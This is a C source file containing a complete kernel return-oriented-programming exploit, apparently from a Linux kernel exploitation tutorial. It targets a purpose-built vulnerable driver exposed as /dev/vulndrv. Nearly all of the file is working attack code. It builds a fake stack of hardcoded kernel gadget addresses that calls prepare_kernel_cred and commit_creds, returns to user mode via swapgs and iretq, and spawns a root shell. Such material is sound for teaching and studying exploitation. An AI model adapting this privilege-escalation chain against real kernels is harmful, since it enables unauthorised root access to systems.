/** 
 * ROP exploit for drv.c kernel module
 *
 * gcc rop_exploit.c -O2 -o rop_exploit
 *
 * Email: vnik@cyseclabs.com
 * Vitaly Nikolenko
 */

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include "drv.h"

#define DEVICE_PATH "/dev/vulndrv"

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
	asm(
	"movq %%cs, %0\n"
	"movq %%ss, %1\n"
	"pushfq\n"
	"popq %2\n"
	: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" 		);
}

void shell(void) {
	if(!getuid())
		system("/bin/sh");

	exit(0);
}

void usage(char *bin_name) {
	fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}

int main(int argc, char *argv[])
{
	int fd;
	struct drv_req req;
	void *mapped, *temp_stack;
        unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;

	if (argc != 3) {
		usage(argv[0]);
		return -1;
	}

	req.offset = strtoul(argv[1], NULL, 10);
        base_addr  = strtoul(argv[2], NULL, 16);

        printf("array base address = 0x%lx\n", base_addr);
        stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
        fprintf(stdout, "stack address = 0x%lx\n", stack_addr);

	mmap_addr = stack_addr & 0xffff0000;
	assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
	assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);

        save_state();
	fake_stack = (unsigned long *)(stack_addr);
	*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */

	fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);

	*fake_stack ++= 0x0UL;                /* NULL */ 
	*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */

	*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
	//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
	*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions

	*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */

        *fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret
        *fake_stack ++= 0xdeadbeefUL;         // dummy placeholder 

	*fake_stack ++= 0xffffffff81053056UL; /* iretq */
	*fake_stack ++= (unsigned long)shell; /* spawn a shell */
	*fake_stack ++= user_cs;              /* saved CS */
	*fake_stack ++= user_rflags;          /* saved EFLAGS */
	*fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
        *fake_stack ++= user_ss;              /* saved SS */


	//map = mmap((void *)..., ..., 3, 0x32, 0, 0);

	fd = open(DEVICE_PATH, O_RDONLY);

	if (fd == -1) {
		perror("open");
	}

	ioctl(fd, 0, &req);

	return 0;
}